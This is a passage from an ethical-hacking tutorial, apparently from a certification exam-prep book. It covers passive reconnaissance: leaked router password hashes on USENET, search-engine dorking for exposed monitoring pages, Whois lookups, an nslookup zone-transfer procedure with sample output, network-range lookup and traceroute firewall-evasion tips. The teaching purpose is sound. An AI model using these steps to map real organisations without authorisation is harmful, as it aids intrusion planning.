&lt;br /&gt;
One way to search is to use individual&#39;s names you might have uncovered;
 another is to do a simple search of the company. Searching for 
@company.com will work. Many times, this will reveal useful information.
 One company that a security consultant performed some work for had 
listings from the network administrator. He had been asked to set up a 
new router and was having trouble getting it configured properly. The 
administrator had not only asked the group for help, but had also posted
 the router configuration to see if someone could help figure out what 
was wrong. The problem was that the configuration file had not been 
sanitized and not only contained IP addresses but also the following 
information: &lt;br /&gt;
&lt;br /&gt;
enable secret 5 $1$2RKf$OMOAcvzpb7j9uhfw6C5Uj1 &lt;br /&gt;
enable password 7 583132656321654949 &lt;br /&gt;
&lt;br /&gt;
For those of you who might not be Cisco gurus, those are encrypted 
passwords. Sure, they are encrypted, but given enough time, there&#39;s the 
possibility that they might be cracked. Others of you who say that it&#39;s 
only router passwords might be right, but let&#39;s hope that the 
administrator doesn&#39;t reuse passwords as many people do. As you can see,
 you can gain additional information about an organization and its 
technical strengths just by uncovering a few USENET posts. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Insecure Applications&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Most applications really aren&#39;t bad. Some are more insecure than others,
 but when deployed with layered controls and properly patched, risk can 
be minimized. When defense in depth isn&#39;t used, problems start to arise.
 Defense in depth is the layering of one defensive mechanism after 
another. A case in point is the program Big Brother (&lt;a href=&quot;http://www.bb4.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.bb4.com&lt;/a&gt;). &lt;br /&gt;
&lt;br /&gt;
Big Brother is a program that can be used to monitor computer equipment.
 It can monitor and report the status of items, such as the central 
processing unit (CPU) utilization, disk usage, ssh status, http status, 
pop3 status, telnet status, and so on. Unlike Simple Network Monitoring 
Protocol(SNMP) in which information is just collected and devices 
polled, Big Brother can collect this information and forward it to a 
central web page or location. This makes it a valuable tool to the 
administrator in that it provides one central location to review network
 status and indicates status with a simple red/green interface. Problems
 are indicated in red, whereas operational systems are indicated in 
green. You might be asking yourself, okay, so what&#39;s the problem with 
all this? &lt;br /&gt;
&lt;br /&gt;
The problem is in how the administrator might have set up or configured 
Big Brother. Big Brother doesn&#39;t need to run as root; therefore, the 
installation guide recommends that the user create a user named bb and 
configure that user with user privileges. Unless the administrator has 
changed this, you now know a valid user account on a system. Because the
 account isn&#39;t used by a human, it might have an easy password or one 
that is not changed often. The makers of Big Brother also recommend that
 the web page used to store the information Big Brother generates be 
password protected. After all, this is extremely sensitive information. 
If this information has not been protected, all someone must do is go to
 &lt;a href=&quot;http://www.google.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.google.com&lt;/a&gt;
 and search for &quot;green:big brother.&quot; If you scroll through the lists of 
sites and simply click on one, you&#39;ll be taken to a page that displays 
systems, IP addresses, services, and versions It&#39;s only taken a few 
minutes for an attacker to gather this type of information, and it&#39;s 
completely legal. These pages are posted so that the entire world can 
read them. Security professionals should always be concerned about what 
kind of information is posted on the Web and who can access it. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Registrar Query&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Not long ago, &lt;a class=&quot;itxtnewhook itxthook&quot; href=&quot;http://www.go4expert.com/forums/showthread.php?t=12161#&quot; id=&quot;itxthook1&quot; rel=&quot;nofollow&quot;&gt;&lt;span class=&quot;itxtrst itxtrstspan itxtnewhookspan&quot; id=&quot;itxthook1p&quot;&gt;&lt;span class=&quot;itxtnewhookspan&quot; id=&quot;itxthook1w&quot; style=&quot;background-color: transparent; border-color: transparent transparent rgb(0, 204, 0); border-style: none none solid; border-width: 0px 0px 1px; color: #009900; font-size: 100%; font-weight: normal; padding: 0px ! important; text-decoration: underline ! important;&quot;&gt;searching for domain&lt;/span&gt;&lt;img class=&quot;itxtrst itxtrstimg itxthookicon&quot; id=&quot;itxthook1icon&quot; src=&quot;http://images.intellitxt.com/ast/adTypes/icon1.png&quot; style=&quot;margin-bottom: 0px!important; margin-left: 0px!important; margin-right: 0px!important; margin-top: 0px!important; padding-bottom: 0px!important; padding-left: 4px!important; padding-right: 0px!important; padding-top: 0px!important;&quot; /&gt;&lt;/span&gt;&lt;/a&gt; name information was much easier. There were only a few places to obtain &lt;a class=&quot;itxtnewhook itxthook&quot; href=&quot;http://www.go4expert.com/forums/showthread.php?t=12161#&quot; id=&quot;itxthook2&quot; rel=&quot;nofollow&quot;&gt;&lt;span class=&quot;itxtrst itxtrstspan itxtnewhookspan&quot; id=&quot;itxthook2p&quot;&gt;&lt;span class=&quot;itxtnewhookspan&quot; id=&quot;itxthook2w&quot; style=&quot;background-color: transparent; border-color: transparent transparent rgb(0, 204, 0); border-style: none none solid; border-width: 0px 0px 1px; color: #009900; font-size: 100%; font-weight: normal; padding: 0px ! important; text-decoration: underline ! important;&quot;&gt;domain names&lt;/span&gt;&lt;img class=&quot;itxtrst itxtrstimg itxthookicon&quot; id=&quot;itxthook2icon&quot; src=&quot;http://images.intellitxt.com/ast/adTypes/icon1.png&quot; style=&quot;margin-bottom: 0px!important; margin-left: 0px!important; margin-right: 0px!important; margin-top: 0px!important; padding-bottom: 0px!important; padding-left: 4px!important; padding-right: 0px!important; padding-top: 0px!important;&quot; /&gt;&lt;/span&gt;&lt;/a&gt;,
 and the activities of spammers and hackers had yet to cause the 
Internet Assigned Numbers Authority (IANA) to restrict the release of 
this information. Today, The Internet Corporation for Assigned Names and
 Numbers (ICANN) is the primary body charged with management of IP 
address space allocation, protocol parameter assignment, and domain name
 system management. Its role is really that of overall management, as &lt;a class=&quot;itxtnewhook itxthook&quot; href=&quot;http://www.go4expert.com/forums/showthread.php?t=12161#&quot; id=&quot;itxthook3&quot; rel=&quot;nofollow&quot;&gt;&lt;span class=&quot;itxtrst itxtrstspan itxtnewhookspan&quot; id=&quot;itxthook3p&quot;&gt;&lt;span class=&quot;itxtnewhookspan&quot; id=&quot;itxthook3w&quot; style=&quot;background-color: transparent; border-color: transparent transparent rgb(0, 204, 0); border-style: none none solid; border-width: 0px 0px 1px; color: #009900; font-size: 100%; font-weight: normal; padding: 0px ! important; text-decoration: underline ! important;&quot;&gt;domain name registration&lt;/span&gt;&lt;img class=&quot;itxtrst itxtrstimg itxthookicon&quot; id=&quot;itxthook3icon&quot; src=&quot;http://images.intellitxt.com/ast/adTypes/icon1.png&quot; style=&quot;margin-bottom: 0px!important; margin-left: 0px!important; margin-right: 0px!important; margin-top: 0px!important; padding-bottom: 0px!important; padding-left: 4px!important; padding-right: 0px!important; padding-top: 0px!important;&quot; /&gt;&lt;/span&gt;&lt;/a&gt;
 is handled by a number of competing firms that offer various value 
added services. These include firms such as networksolutions.com, 
register.com, godaddy.com, and tucows.com. There is also a series of 
Regional Internet Registries (RIR) that manage, distribute, and register
 public IP addresses within their respective regions. There are four 
primary RIRs with a fifth planned to support Africa. These are shown 
below&lt;br /&gt;
&lt;br /&gt;
RIRs and Their Area of Control &lt;br /&gt;
RIR&lt;blockquote&gt;
Region of Control&lt;/blockquote&gt;
ARIN&lt;blockquote&gt;
North and South America and SubSaharan Africa &lt;/blockquote&gt;
APNIC&lt;blockquote&gt;
Asia and Pacific &lt;/blockquote&gt;
RIPE&lt;blockquote&gt;
Europe, Middle East, and parts of Africa &lt;/blockquote&gt;
LACNIC&lt;blockquote&gt;
Latin America and the Caribbean&lt;/blockquote&gt;
AfriNIC&lt;blockquote&gt;
Planned RIR to support Africa&lt;/blockquote&gt;
The primary tool to navigate these databases is Whois. Whois is a utility that interrogates the &lt;a class=&quot;itxtnewhook itxthook&quot; href=&quot;http://www.go4expert.com/forums/showthread.php?t=12161#&quot; id=&quot;itxthook4&quot; rel=&quot;nofollow&quot;&gt;&lt;span class=&quot;itxtrst itxtrstspan itxtnewhookspan&quot; id=&quot;itxthook4p&quot;&gt;&lt;span class=&quot;itxtnewhookspan&quot; id=&quot;itxthook4w&quot; style=&quot;background-color: transparent; border-color: transparent transparent rgb(0, 204, 0); border-style: none none solid; border-width: 0px 0px 1px; color: #009900; font-size: 100%; font-weight: normal; padding: 0px ! important; text-decoration: underline ! important;&quot;&gt;Internet domain&lt;/span&gt;&lt;img class=&quot;itxtrst itxtrstimg itxthookicon&quot; id=&quot;itxthook4icon&quot; src=&quot;http://images.intellitxt.com/ast/adTypes/icon1.png&quot; style=&quot;margin-bottom: 0px!important; margin-left: 0px!important; margin-right: 0px!important; margin-top: 0px!important; padding-bottom: 0px!important; padding-left: 4px!important; padding-right: 0px!important; padding-top: 0px!important;&quot; /&gt;&lt;/span&gt;&lt;/a&gt;
 name administration system and returns the domain ownership, address, 
location, phone number, and other details about a specified domain name.
 Whois is the primary tool used to query Domain Name Services (DNS). If 
you&#39;re performing this information gathering from a Linux computer, the 
good news is Whois is built in. From the Linux prompt, users can type in
 whois domainname.com or whois? to get a list of various options. 
Windows users are not as fortunate as Linux users because Windows does 
not have a built-in Whois client. Windows users will have to use a 
third-party tool or website to obtain Whois information. Onetool that a 
Windows user can use to perform Whois lookups is Sam Spade. It can be 
downloaded from &lt;a href=&quot;http://www.samspade.org/ssw/download.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.samspade.org/ssw/download.html&lt;/a&gt;.
 Sam Spade contains a lot more utilities that just Whois, such as ping, 
finger, and traceroute. There&#39;s also a variety of websites that you can 
use to obtain Whois information. Some of these include &lt;ul&gt;
&lt;li&gt; &lt;a href=&quot;http://www.betterwhois.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.betterwhois.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://www.allwhois.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.allwhois.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://geektools.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://geektools.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://www.all-nettools.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.all-nettools.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://www.tamos.com/products/smartwhois/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.tamos.com/products/smartwhois/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://www.dnsstuff.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.dnsstuff.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://www.samspade.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.samspade.org&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
Regardless of the tool, the goal is to obtain &lt;a class=&quot;itxtnewhook itxthook&quot; href=&quot;http://www.go4expert.com/forums/showthread.php?t=12161#&quot; id=&quot;itxthook5&quot; rel=&quot;nofollow&quot;&gt;&lt;span class=&quot;itxtrst itxtrstspan itxtnewhookspan&quot; id=&quot;itxthook5p&quot;&gt;&lt;span class=&quot;itxtnewhookspan&quot; id=&quot;itxthook5w&quot; style=&quot;background-color: transparent; border-color: transparent transparent rgb(0, 204, 0); border-style: none none solid; border-width: 0px 0px 1px; color: #009900; font-size: 100%; font-weight: normal; padding: 0px ! important; text-decoration: underline ! important;&quot;&gt;registrar&lt;/span&gt;&lt;img class=&quot;itxtrst itxtrstimg itxthookicon&quot; id=&quot;itxthook5icon&quot; src=&quot;http://images.intellitxt.com/ast/adTypes/icon1.png&quot; style=&quot;margin-bottom: 0px!important; margin-left: 0px!important; margin-right: 0px!important; margin-top: 0px!important; padding-bottom: 0px!important; padding-left: 4px!important; padding-right: 0px!important; padding-top: 0px!important;&quot; /&gt;&lt;/span&gt;&lt;/a&gt; information. As an example, the following listing shows the results after &lt;a href=&quot;http://www.samspade.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.samspade.org&lt;/a&gt; is queried for information on &lt;a href=&quot;http://www.examcram.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.examcram.com:&lt;/a&gt; &lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 226px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Registrant: 
 Pearson Technology Centre 
 Kenneth Simmons 
 200 Old Tappan Rd . 
 Old Tappan, NJ 07675 USA 
 Email: billing@superlibrary.com 
Phone: 001-201-7846187 
 Registrar Name....: REGISTER.COM, INC. 
 Registrar Whois...: whois.register.com 
 Registrar Homepage: www.register.com 
DNS Servers: 
usrxdns1.pearsontc.com 
 oldtxdns2.pearsontc.com&lt;/pre&gt;
&lt;/div&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
A domain proxy is one way that organizations can protect their identity 
while still complying with laws that require domain ownership to be 
public information. Domain proxies work by applying anonymous contact 
information as well an anonymous email address. This information is 
displayed when someone performs a domain Whois. The proxy then forwards 
any emails or contact information that might come to those addresses on 
to you. &lt;br /&gt;
&lt;br /&gt;
This information provides a contact person, address, phone number, and 
DNS servers. A hacker skilled in the art of social engineering might use
 this information to call the organization and pretend to be Kenneth, or
 he might use the phone number to war dial a range of phone numbers 
looking for modems. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
DNS Enumeration&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker has also identified the names of the DNS servers. DNS 
servers might be targeted for zone transfers. A zone transfer is the 
mechanism used by DNS servers to update each other by transferring the 
contents of their database. DNS is structured as a hierarchy so that 
when you request DNS information, your request is passed up the 
hierarchy until a DNS server is found that can resolve the domain name 
request. You can get a better idea of how DNS is structured by examining
 Figure 3.5. There is a total of 13 DNS root servers. &lt;br /&gt;
&lt;br /&gt;
What&#39;s left at this step is to try and gather additional information 
from the organization&#39;s DNS servers. The primary tool to query DNS 
servers is nslookup. Nslookup provides machine name and address 
information. Both Linux and Windows have nslookup clients. Nslookup is 
used by typing nslookup from the command line followed by an IP address 
or a machine name. Doing so will cause nslookup to return the name, all 
known IP addresses, and all known CNAMES for the identified machine. 
Nslookup queries DNS servers for machine name and address information. 
Using nslookup is rather straightforward. Let&#39;s look at an example in 
which nslookup is used to find out the IP addresses of Google&#39;s web 
servers. By entering nslookup &lt;a href=&quot;http://www.google.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.google.com&lt;/a&gt;, the following response is obtained: &lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 130px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;C:\&amp;gt;nslookup www.google.com 
Server: dnsr1.sbcglobal.net 
Address: 68.94.156.1 
Non-authoritative answer: 
Name:  www.l.google.com 
Addresses: 64.233.187.99, 64.233.187.104 
Aliases: www.google.com&lt;/pre&gt;
&lt;/div&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image010.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
The first two lines of output say which DNS servers are being queried. 
In this case, it&#39;s dnsr1.sbcglobal.net in Texas. The non-authoritative 
answer lists two IP addresses for the Google web servers. Responses from
 non-authoritative servers do not contain copies of any domains. They 
have a cache file that is constructed from all the DNS lookups it has 
performed in the past for which it has gotten an authoritative response.
 &lt;br /&gt;
&lt;br /&gt;
Nslookup can also be used in an interactive mode by just typing nslookup
 at the command prompt. In interactive mode, the user will be given a 
prompt of &amp;gt;; at which point, the user can enter a variety of options,
 including attempts to perform a zone transfer. &lt;br /&gt;
&lt;br /&gt;
DNS normally moves information from one DNS server to another through 
the DNS zone transfer process. If a domain contains more than one name 
server, only one of these servers will be the primary. Any other servers
 in the domain will be secondary servers. Zone transfers are much like 
the DHCP process in that each is a four-step process. DNS zone transfers
 function as follows: &lt;br /&gt;
&lt;br /&gt;
1. The secondary name server starts the process by requesting the SOA record from the primary name server. &lt;br /&gt;
&lt;br /&gt;
2. The primary then checks the list of authorized servers, and if the 
secondary server&#39;s name is on that list, the SOA record is sent. &lt;br /&gt;
&lt;br /&gt;
3. The secondary must then check the SOA record to see if there is a 
match against the SOA it already maintains. If the SOA is a match, the 
process stops here; however, if the SOA has a serial number that is 
higher, the secondary will need an update. The serial number indicates 
if changes were made since the last time the secondary server 
synchronized with the primary server. If an update is required, the 
secondary name server will send an All Zone Transfer (AXFR) request to 
the primary server. &lt;br /&gt;
&lt;br /&gt;
4. Upon receipt of the AXFR, the primary server will send the entire zone file to the secondary name server. &lt;br /&gt;
&lt;br /&gt;
Some common DNS resource record names and types are shown in Table 3.3. &lt;br /&gt;
&lt;br /&gt;
TABLE 3.3    DNS Records and Types &lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 130px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Record Name         | Record Type  | Purpose 
Host                | A            | Maps a domain name to an IP address 
Pointer             | PTR          | Maps an IP address to a domain name 
Name Server         | NS           | Configures settings for zone transfers and record caching 
Start of Authority  | SOA          | Configures settings for zone transfers and record caching 
Service Locator     | SRV          | Used to locate services in the network 
Mail                | MX           | Used to identify SMTP servers&lt;/pre&gt;
&lt;/div&gt;
EXAM ALERT &lt;br /&gt;
&lt;br /&gt;
The SOA contains the timeout value, which can be used by a hacker to 
tell how long any DNS poisoning would last. The TTL value is the last 
value within the SOA. &lt;br /&gt;
&lt;br /&gt;
A zone transfer is unlike a normal lookup in that the user is attempting
 to retrieve a copy of the entire zone file for a domain from a DNS 
server. This can provide a hacker or pen tester with a wealth of 
information. This is not something that the target organization should 
be allowing. Unlike lookups that primarily occur on UDP 53, unless the 
response is greater than 512 bytes, zone transfers use TCP 53. To 
attempt a zone transfer, you must be connected to a DNS server that is 
the authoritative server for that zone. Remember the nslookup 
information we previously gathered? It&#39;s shown here again for your 
convenience. &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 226px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Registrant: 
 Pearson Technology Centre 
 Kenneth Simmons 
 200 Old Tappan Rd . 
 Old Tappan, NJ 07675 USA 
 Email: billing@superlibrary.com 
Phone: 001-201-7846187 
 Registrar Name....: REGISTER.COM, INC. 
 Registrar Whois...: whois.register.com 
 Registrar Homepage: www.register.com 
DNS Servers: 
 usrxdns1.pearsontc.com 
 oldtxdns2.pearsontc.com&lt;/pre&gt;
&lt;/div&gt;
Review the last two entries. Both usrxdns1.pearsontc.com and 
oldtxdns2.pearsontc.com are the DNS authoritative servers for 
ExamCram.com. These are the addresses that an attacker will target to 
attempt a zone transfer. The steps to try and force a zone transfer are 
shown here: &lt;br /&gt;
&lt;br /&gt;
1. nslookup-Enter nslookup from the command line. &lt;br /&gt;
2. server &amp;lt;ipaddress&amp;gt;-Enter the IP address of the authoritative server for that zone. &lt;br /&gt;
3. set type = any-Tells nslookup to query for any record. &lt;br /&gt;
4. ls -d &amp;lt;domain.com&amp;gt;-Domain.com is the name of the targeted domain of the final step that performs the zone transfer. &lt;br /&gt;
&lt;br /&gt;
One of two things will happen at this point; either you will receive an 
error message indicating that the transfer was unsuccessful, or you will
 be returned a wealth of information, as shown in the following: &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 418px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;C:\WINNT\system32&amp;gt;nslookup 
Default Server: dnsr1.sbcglobal.net 
Address: 128.112.3.12 

server 172.6.1.114 
set type=any 
ls -d example.com 

example.com.    SOA hostmaster.sbc.net (950849 21600 3600 1728000 3600) 
example.com.    NS   auth100.ns.sbc.net 
example.com.    NS   auth110.ns.sbc.net 
example.com.    A   10.14.229.23 
example.com.    MX   10  dallassmtpr1.example.com 
example.com.    MX   20  dallassmtpr2.example.com 
example.com.    MX   30  lasmtpr1.example.com 
lasmtpr1      A   192.172.243.240 
dallassmtpr1    A   192.172.163.9 
dallaslink2     A   192.172.161.4 
spamassassin    A   192.172.170.49 
dallassmtpr2    A   192.172.163.7 
dallasextra     A   192.172.170.17 
dallasgate     A   192.172.163.22 
lalink       A   172.16.208.249 
dallassmtp1     A   192.172.170.49 
nygate       A   192.172.3.250 
www         A   10.49.229.203 
dallassmtp     MX   10  dallassmtpr1.example.com 
dallassmtp     MX   20  dallassmtpr2.example.com 
dallassmtp     MX   30  lasmtpr1.example.com&lt;/pre&gt;
&lt;/div&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Dig is another tool that can be used to provide this type of 
information. It&#39;s available for Linux and for Windows. Dig is a powerful
 tool that can be used to investigate the DNS system. &lt;br /&gt;
&lt;br /&gt;
This type of information should not be made available to just anyone. 
Hackers can use this to find out what other servers are running on the 
network, and it can help them map the network and formulate what types 
of attacks to launch. Notice the first line that has example.comlisted 
previously. Observe the final value of 3600on that line. That is the TTL
 value discussed previously which would inform a hacker as to how long 
DNS poisoning would last. 3,600 seconds is 60 minutes. Zone transfers 
are intended for use by secondary DNS servers to synchronize with their 
primary DNS server. You should make sure that only specific IP addresses
 are allowed to request zone transfers. Although most Operating Systems 
restrict this by default, Windows 2000 did not. So, be aware of this if 
any 2000 servers are still in your network. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
All DNS servers should be tested. It is very often the case in which the
 primary has tight security, but the secondaries will allow zone 
transfers. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Determining the Network Range&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
Locate the network range &lt;br /&gt;
&lt;br /&gt;
Now that the pen test team has been able to locate name, phone numbers, 
addresses, some server names, and IP addresses, it&#39;s important to find 
out what range of IP addresses are available for scanning and further 
enumeration. If you take the IP address of a web server discovered 
earlier and enter it into the Whois lookup at &lt;a href=&quot;http://www.arin.net/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.arin.net&lt;/a&gt;,
 the network&#39;s range can be determined. As an example, 192.17.170.17 was
 entered into the ARIN Whois, and the following information was 
received: &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 226px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;OrgName:  target network 
OrgID:   Target-2 
Address:  1313 Mockingbird Road 
City:    Anytown 
StateProv: Tx 
PostalCode: 72341 
Country:  US 
ReferralServer: rwhois://rwhois.exodus.net:4321/ 
NetRange:  192.17.12.0 - 192.17.12.255 
CIDR:    192.17.0.0/24 
NetName:  SAVVIS 
NetHandle: NET-192-17-12-0-1 
Parent:   NET-192-0-0-0-0&lt;/pre&gt;
&lt;/div&gt;
This means that the target network has 254 total addresses. The 
attacker can now focus his efforts on the range from 192.17.12.1 to 
192.17.12.254 /24. If these results don&#39;t prove satisfactory, traceroute
 can be used for additional mapping. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Traceroute&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
Specify how traceroute works &lt;br /&gt;
&lt;br /&gt;
The traceroute utility is used to determine the path to a target 
computer. Just as with nslookup, traceroute is available on Windows and 
UNIX platforms. In Windows, it is known as tracert because of 8.3 legacy
 filename constraints remaining from DOS. Traceroute was originally 
developed by Van Jacobson to view the path a packet follows from its 
source to its destination. Traceroute owes its functionality to the IP 
header time-to-live(TTL) field. You might remember from the discussion 
in lesson 2, &quot;The Technical Foundations of Hacking,&quot; that the TTL field 
is used to limit IP datagram&#39;s. Without a TTL, some IP datagram&#39;s might 
travel the Internet forever as there would be no means of timeout. TTL 
functions as a decrementing counter. Each hop that a datagram passes 
through reduces the TTL field by one. If the TTL value reaches 0, the 
datagram is discarded and a time exceeded in transit Internet Control 
Message Protocol (ICMP) message is created to inform the source of the 
failure. Linux traceroute is based on UDP, whereas Windows uses ICMP. &lt;br /&gt;
&lt;br /&gt;
To get a better idea of how this works, let&#39;s take a look at how Windows
 would process a traceroute. For this example, say that the target is 
three hops away. Windows would send out a packet with a TTL of 1. Upon 
reaching the first router, the packet TTL value would be decremented to 
0, which would illicit a time exceeded in transit error message. This 
message would be sent back to the sender to indicate that the packet did
 not reach the remote host. Receipt of the message would inform Windows 
that it had yet to reach its destination, and the IP of the device in 
which the datagram timed out would be displayed. Next, Windows would 
increase the TTL to a value of 2. This datagram would make it through 
the first router, where the TTL value would be decremented to 1. Then it
 would make it through the second router; at which time, the TTL value 
would be decremented to 0 and the packet would expire. Therefore, the 
second router would create a time exceeded in transit error message and 
forward it to the original source. The IP address of this device would 
next be displayed on the user&#39;s computer. Finally, the TTL would be 
increased to 3. This datagram would easily make it past the first and 
second hop and arrive at the third hop. Because the third hop is the 
last hop before the target, the router would forward the packet to the 
destination and the target would issue anormal ICMP ping response. The 
output of this traceroute can be seen here: &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 114px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;C:\&amp;gt;tracert 192.168.1.200 
Tracing route to 192.168.1.200: 
1  10 ms  &amp;lt;10 ms  &amp;lt;10 ms 
2  10 ms  10 ms  20 ms 
3  20 ms  20 ms  20 ms 192.168.1.200 
Trace complete.&lt;/pre&gt;
&lt;/div&gt;
Linux-based versions of traceroute work much the same way but use 
UDP. Traceroute sends these UDP packets targeted to high order port 
numbers that nothing should be listening on. Just as described 
previously, the TTL is increased until the target device is reached. 
Because traceroute is using a high order UDP port, typically 33434, the 
host should ignore the packets after generating port unreachable 
messages. These ICMP port unreachable messages are used by traceroute to
 notify the source that the destination has been reached. &lt;br /&gt;
&lt;br /&gt;
It&#39;s advisable to check out more than one version of traceroute if you 
don&#39;t get the required results. Some techniques can also be used to try 
and slip traceroute passed a firewall or filtering device. When UDP and 
ICMP are not allowed on the remote gateway, TCPTraceroute can be used. 
Another unique technique was developed by Michael Schiffman, who created
 a patch called traceroute.diff that allows you to specify the port that
 traceroute will use. With this handy tool, you could easily direct 
traceroute to use UDP port 53. Because that port is used for DNS 
queries, there&#39;s a good chance that it could be used to slip past the 
firewall. If you&#39;re looking for a GUI program to perform traceroute 
with, several are available, which are described here: &lt;br /&gt;
&lt;br /&gt;
NeoTrace&lt;blockquote&gt;
NeoTrace is a powerful tool for mapping path 
information. The graphical display shows you the route between you and 
the remote site, including all intermediate nodes and their registrant 
information. NeoTrace is probably the most well-known GUI traceroute 
program. Along with a graphical map, it also displays information on 
each node such as IP address, contact information, and location. 
NeoTrace can be seen in Figure 3.6. That trace shows the results of a 
traceroute to Microsoft.com. Just remember that NeoTrace builds from 
provided information that is entered into the routers, and it might not 
always be accurate.&lt;/blockquote&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image012.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Trout&lt;blockquote&gt;
Trout is another visual traceroute and Whois program. 
What&#39;s great about this program is its speed. Unlike traditional 
traceroute programs, trout performs parallel pinging. By sending packets
 with more than one TTL at a time, it can quickly determine the path to a
 targeted device. &lt;/blockquote&gt;
VisualRoute&lt;blockquote&gt;
VisualRoute is 
another graphical traceroute for Windows. VisualRoute not only shows a 
graphical world map that displays the path packets are taking, but it 
also lists information for each hop, including IP address, node name, 
and geographical location. &lt;/blockquote&gt;
Traceroute and ping are useful 
tools for identifying active systems, mapping their location, and 
learning more about their location. We will learn more about these 
tools, after this lesson in an exercise. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
